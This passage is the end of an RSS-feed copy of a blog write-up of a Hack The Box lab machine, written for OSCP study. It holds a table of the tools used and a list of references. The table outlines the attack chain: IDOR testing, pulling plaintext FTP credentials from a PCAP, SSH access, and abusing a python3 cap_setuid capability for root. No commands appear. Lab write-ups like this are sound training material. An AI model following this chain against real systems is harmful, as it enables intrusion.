&lt;td&gt;Port scan and service fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;curl&lt;/code&gt; / browser&lt;/td&gt;
&lt;td&gt;Web app enumeration, IDOR testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Download the vulnerable PCAP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tcpdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse PCAP and extract plaintext FTP credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Initial access with recovered credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getcap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identify Linux capability misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exploit &lt;code&gt;cap_setuid&lt;/code&gt; for root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities" rel="noopener noreferrer"&gt;GTFOBins — Python capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for-Insecure_Direct_Object_References" rel="noopener noreferrer"&gt;OWASP — IDOR Testing Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" rel="noopener noreferrer"&gt;Linux Capabilities — man7.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc959" rel="noopener noreferrer"&gt;FTP Protocol — RFC 959&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Target: OSCP by early 2027. Current: building the reps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>htb</category>
      <category>oscp</category>
      <category>ctf</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
